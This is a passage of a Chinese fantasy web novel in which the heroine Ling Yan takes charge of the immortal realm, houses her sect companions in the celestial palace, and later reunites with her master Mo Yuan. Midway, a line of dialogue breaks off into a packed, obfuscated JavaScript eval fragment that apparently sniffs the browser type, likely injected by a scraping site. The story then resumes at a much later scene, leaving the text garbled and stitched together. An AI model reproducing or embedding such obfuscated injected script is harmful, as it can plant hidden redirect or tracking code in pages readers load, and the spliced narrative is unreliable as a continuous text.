她开口: “起来吧。” 没人动。 凌砚又说: “我让你们起来。” 老者第一个站起来。 然后是第二个,第三个。 最后,所有人都站起来了。 凌砚看着他们。 “从今天起,仙界归我管。” 没人说话。 凌砚继续说: “有意见的,现在说。” 还是没人说话。 凌砚等了两秒。 “那就这么定了。” 她站起来。 “散了吧。” 所有人愣住。 这就完了? 凌砚看着他们。 “还站着干嘛?” 老者连忙说: “是、是!” 他一挥手。 人群散了。 很快,高台前空荡荡的。 只剩凌砚、白、墨衍三个人。 凌砚坐回椅子上。 看着空荡荡的广场。 忽然笑了。 “就这?” 墨衍说: “就这。” 凌砚摇摇头。 “我还以为要打一场。” 墨衍看着她。 “想打?” 凌砚想了想。 “有点。” 墨衍嘴角动了动。 “下次。” 凌砚笑了。 “行。” --- 天帝宫。 凌砚住进了这座三万年前属于她师父的宫殿。 大是真大。 大到走一圈要半个时辰。 空也是真空。 除了几个打扫的仙童,什么人都没有。 凌砚坐在大殿中央的椅子上。 白坐在旁边,端着碗。 墨衍站在门口,看着外面。 凌砚问: “二师父,你以前住这儿?” 墨衍点头。 “住过。” “多久?” “两万年。” 凌砚愣了一下。 “两万年?” 墨衍说: “你师父被关之后,我来替他看着。” 他看着外面。 “看了两万年。” 凌砚沉默。 然后问: “那后来呢?” 墨衍说: “后来你来了。” 他转回头,看着凌砚。 “我就不用看了。” 凌砚看着他。 忽然笑了。 “二师父。” “嗯?” “你也等了我两万年?” 墨衍想了想。 “算是。” 凌砚站起来。 走到他面前。 “谢谢。” 墨衍愣了一下。 然后说: “不用。” 凌砚笑了。 转身往回走。 “白,吃饭去。” 白站起来。 端着碗跟上。 墨衍看着他们的背影。 嘴角动了一下。 然后跟上去。 --- 天帝宫的厨房比无妄宗大十倍。 但做饭的人,只有一个。 一个老头,仙尊境。 他看到凌砚进来,吓得碗都掉了。 “天、天帝——” 凌砚摆手。 “别紧张,我来吃饭。” 老头愣住。 “吃、吃饭?” 凌砚点头。 “对。有什么吃的?” 老头看着面前空荡荡的厨房。 “这、这儿没人吃饭,所以——” 凌砚明白了。 “没菜?” 老头点头。 凌砚沉默了两秒。 然后说: “行吧。” 她转身要走。 忽然想起什么。 “你叫什么?” 老头说: “老、老周。” 凌砚点头。 “老周,明天开始,每天做八个人的饭。” 老周愣住。 “八个人?” 凌砚说: “对。食材让人送。钱从国库出。” 老周张了张嘴。 “可、可我不会做——” 凌砚笑了。 “不会就学。” 她拍拍老周肩膀。 “好好干。” 转身走了。 老周站在原地。 看着她的背影。 忽然觉得—— 这个新天帝,好像没那么可怕。 --- 三天后。 无妄宗的人全来了。 谢无妄、苏折、温寻、沈清和。 沈万山带着几个手下。 八个人,住进了天帝宫。 温寻一进门就感叹: “操,真大。” 凌砚笑了。 “喜欢?” 温寻点头。 “喜欢。” 凌砚说: “那给你一间。” 温寻眼睛亮了。 “真的?” 凌砚点头。 “真的。” 温寻立刻跑去找房间。 谢无妄站在旁边。 “我住哪儿?” 凌砚指了指东边。 “那边,有个演武场。” 谢无妄眼睛亮了。 “有演武场?” 凌砚点头。 “比咱们宗那个大三倍。” 谢无妄立刻走了。 苏折没说话。 但眼睛往西边看。 那边是炼器室。 凌砚说: “二师兄,那边有个炼器室,比你那个大十倍。” 苏折眼睛亮了。 立刻走过去。 沈清和站在凌砚旁边。 “我呢?” 凌砚指了指后面。 “有个药园。比咱们宗那个大二十倍。” 沈清和笑了。 “好。” 她也走了。 凌砚站在大殿中央。 身边只剩白和墨衍。 白端着碗,正在吃肉。 墨衍站在门口,看着外面。 凌砚忽然说: “二师父。” 墨衍回头。 “嗯?” “你住哪儿?” 墨衍想了想。 “门口。” 凌砚愣了一下。 “门口?” 墨衍点头。 “习惯看门。” 凌砚沉默了两秒。 然后笑了。 “行。” 她看着白。 “你呢?” 白说: “你旁边。” 凌砚挑眉。 “我旁边?” 白点头。 “保护你。” 凌砚笑了。 “行。” 她走到椅子前,坐下。 白在她旁边坐下,端着碗。 墨衍站在门口。 三个人,又成了三条直线。 凌砚看着这熟悉的一幕。 忽然笑了。 “好像跟无妄宗没什么区别。” 白想了想。 “有。” “什么?” 白说: “这儿更大。” 凌砚笑出声。 “对,更大。” --- 当天晚上。 八个人在天帝宫的饭堂吃饭。 老周做了八个人的饭。 手忙脚乱,但好歹做出来了。 味道一般。 但没人嫌弃。 温寻一边吃一边说: “小师妹,你以后就是天帝了?” 凌砚点头。 “好像是。” 温寻看着她。 “什么感觉?” 凌砚想了想。 “没什么感觉。” 温寻挑眉。 “没什么感觉?你管着整个仙界!” 凌砚笑了。 “那又怎样?” 她指了指在座的人。 “你们在,我就还是我。” 温寻愣了一下。 然后笑了。 “行。” 低头继续吃。 沈清和给凌砚夹菜。 “多吃点。” 凌砚点头。 谢无妄吃得很快。 吃完就去演武场了。 苏折也吃得很快。 吃完就去炼器室了。 沈万山在旁边小声问: “天帝,我住哪儿?” 凌砚指了指外面。 “随便挑。” 沈万山笑了。 “好。” 他也走了。 饭堂里,只剩凌砚、白、墨衍、温寻、沈清和。 凌砚看着这几个人。 忽然说: “其实跟无妄宗,真没什么区别。” 温寻笑了。 “对,就是地方大了点。” 凌砚点头。 “人还是那几个。” 她端起碗。 “挺好。” --- 一个月后。 仙界秩序恢复了。 各派该干嘛干嘛。 只是多了一条规矩—— 所有事,都得向天帝宫汇报。 没人敢反对。 因为反对的人,已经被白“请”去喝茶了。 白的茶,没人敢喝第二次。 凌砚每天的工作就是: 早上起床,吃饭。 上午听汇报,签字。 中午吃饭。 下午晒太阳。 晚上吃饭。 然后睡觉。 比在无妄宗还闲。 温寻忍不住问: “小师妹,你就这么当天帝?” 凌砚点头。 “对。” 温寻看着她。 “不干点别的?” 凌砚想了想。 “干。” “干什么?” 凌砚说: “等人。” 温寻愣住。 “等谁?” 凌砚看着远方。 “等我师父说的那个地方。” 温寻皱眉。 “什么地方?” 凌砚摇头。 “不知道。但他说过,等我打得过他的时候,就告诉我。” 她笑了。 “我现在打得过了吗?” 温寻想了想。 “应该……打得过吧?” 凌砚点头。 “那就等他告诉我。” 温寻沉默。 然后问: “要是他一直不说呢?” 凌砚笑了。 “那就一直等。” 她看着远方。 “反正我等得起。” --- 又过了一个月。 墨渊来了。 他躺在天帝宫的屋顶上,晒太阳。 凌砚爬上去,在他旁边坐下。 “师父。” 墨渊睁开眼。 “嗯?” 凌砚说: “我现在打得过你了吗?” 墨渊看着她。 看了很久。 然后笑了。 “差不多了。” 凌砚挑眉。 “差不多?” 墨渊说: “还差一点点。” “差什么?” 墨渊说: “差一样东西。” 凌砚皱眉。 “什么东西?” 墨渊坐起来。 看着她。 “你知道那东西是什么吗?” 凌砚摇头。 墨渊说: “是天庭的传承。” “我知道。” “你知道它为什么会在你体内吗?” 凌砚想了想。 “你给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你在等我?” 虚影点头。 “等了三万年。” 凌砚问: “等什么?” 虚影说: “等你来拿。” 她伸出手。 手心里有一点金光。 和凌砚体内那点一模一样。 凌砚看着那点金光。 忽然明白了。 “这是——” 虚影点头。 “另一半传承。” 她笑了。 “拿着它,你就是真正的天庭之主。” 凌砚看着她。 “那你呢?” 虚影说: “我?” 她笑了。 “我就是你。” 她的身影慢慢变淡。 “三万年前,我把一半传承留在这里,等你来拿。” 她看着凌砚。 “现在你来了。我可以走了。” 凌砚伸手想抓住她。 但抓了个空。 虚影消失了。 只剩那点金光,浮在空中。 凌砚看着它。 手心那点金光跳得更厉害了。 像是在说—— “收下它。” 凌砚伸出手。 两团金光融合在一起。 一瞬间—— 无数记忆涌入脑海。 三万年前的一切。 战场,血,那些人。 还有—— 她为什么去战场。 不是被围攻。 是她自己去的。 为了保护一个人。 那个人—— 凌砚睁开眼。 眼眶红了。 墨渊走过来。 “看到了?” 凌砚点头。 “看到了。” 墨渊问: “是谁?” 凌砚看着他。 “你。” 墨渊愣住了。 凌砚说: “三万年前,我去战场,是为了保护你。” 她笑了。 笑得眼泪掉下来。 “我怕你死。” 墨渊站在原地。 一动不动。 很久。 然后伸手。 抱住她。 “傻徒弟。” 凌砚靠在他肩上。 “你才傻。” 白站在旁边,端着碗。 看着这一幕。 墨衍站在另一边。 也看着。 谁也没说话。 但好像什么都说了。 --- 废墟中央。 四个人站着。 凌砚松开墨渊。 擦掉眼泪。 “走吧,回家。” 墨渊点头。 “好。” 四个人转身。 走出那座宫殿。 走进虚空。 走向回家的路。 身后,天庭旧址慢慢暗下去。 但那点光,还在。 永远在。 --- 无妄宗。 不对,现在应该叫天帝宫。 凌砚躺在院子里晒太阳。 旁边躺着墨渊。 白坐在门口,端着碗。 墨衍坐在另一边,也端着碗。 谢无妄在练剑。 苏折在炼器。 温寻在摇扇子。 沈清和在浇花。 沈万山带着人巡逻。 一切和以前一样。 但凌砚知道—— 不一样了。 她看着天空。 忽然笑了。 墨渊睁开眼。 “笑什么?” 凌砚说: “没什么。” 她闭上眼睛。 “就是觉得——” 她顿了顿。 “这样挺好。” 墨渊也笑了。 “对,挺好。” 阳光洒下来。 照在八个人身上。 温暖的。 舒服的。 像家。 (全文完)